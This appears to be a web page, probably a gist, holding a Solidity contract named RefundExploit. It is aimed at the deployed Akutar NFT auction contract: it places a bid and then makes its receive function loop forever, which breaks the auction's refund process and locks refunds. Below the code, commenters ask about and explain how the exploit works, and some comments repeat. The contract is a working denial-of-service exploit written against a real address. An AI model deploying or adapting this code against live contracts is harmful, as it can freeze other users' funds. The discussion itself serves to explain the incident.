// SPDX-License-Identifier: UNLICENSED | |
pragma solidity 0.8.13; | |
contract RefundExploit { | |
bool blocked; | |
function bid() external payable { | |
require(msg.sender == 0x0000000000000000000000000000000000000001); | |
IAku aku = IAku(0xF42c318dbfBaab0EEE040279C6a2588Fa01a961d); | |
aku.bid{value: msg.value}(1); | |
blocked = true; | |
} | |
receive() external payable { | |
if (blocked) { | |
while (true) {} | |
} else { | |
(bool success, ) = 0x0000000000000000000000000000000000000001.call{ | |
value: msg.value | |
}(""); | |
require(success); | |
} | |
} | |
function setBlocked(bool _blocked) external { | |
require(msg.sender == 0x0000000000000000000000000000000000000001); | |
blocked = _blocked; | |
} | |
} | |
interface IAku { | |
function bid(uint8) external payable; | |
} |
Sir hey, a rookie question here:
what is the purpose of the following line:
require(msg.sender == 0x0000000000000000000000000000000000000001);
This is a placeholder for the attackers EOA, so only they can interact with this contract.
Got it. Thanks a lot!
Sir hey, a rookie question here:
what is the purpose of the following line:
require(msg.sender == 0x0000000000000000000000000000000000000001);This is a placeholder for the attackers EOA, so only they can interact with this contract.
I know it's a dumb question but I appreciated if You would answer that more details. Isn't that means You can only call the contract with 0x0000000000000000000000000000000000000001 address?
Yep, only if your address equals 0x0000000000000000000000000000000000000001, you can interact with it.
I am intrigued by the receive method. On the true branch, I think the purpose of infinite loop is use up the gas and cause IAku's refund function (i.e., the caller) to fail. But I wonder what is the point of sending the refund amount to itself. Does it not create an infinite loop as well?
I am intrigued by the receive method. On the true branch, I think the purpose of infinite loop is use up the gas and cause IAku's refund function (i.e., the caller) to fail. But I wonder what is the point of sending the refund amount to itself. Does it not create an infinite loop as well?
The exploit does not need the while (true) {}
to function as required, it could just revert()
which would cause the parent processRefunds()
function in the Akutar contract to fail which causes this whole drama.
The address which its sending to is supposed to be the owner of the contract, not the contract itself. It's just a placeholder in this example.
excuse me, I'm new.
I still don't understand.
Why is hacker able to lock Aku contract using his own bool blocked;
in his contract?
If the fallback fails, then the entire TX(hacker->RefundExploit::bid()->AkuNFT::bid()-> RefundExploit::receive()) will fail...
This does not change any thing inside the Aku contract right?
This can't even prevent others from calling bid() or processRefund(). Because the transaction involved with hacker's function was reverted, nothing affected to the Aku's contract states.
I'm saying bool blocked;
can not lock Aku's contract from functioning!
I'm I correct? Or did I miss something?
@Tung40194 The attackers objective is not to lock the Aku contract and stop others from interacting with it.
Like @except said in his previous comment, when the receivable fallback fails if(blocked) { revert() }
it stops the chain of refunds from continuing in the parent processRefunds()
function. Which causes refunds and withdrawals to be stuck/locked.
@jesusxy Thank you. I got it...I got misled by other analysis.
Sir hey, a rookie question here:
what is the purpose of the following line:
require(msg.sender == 0x0000000000000000000000000000000000000001);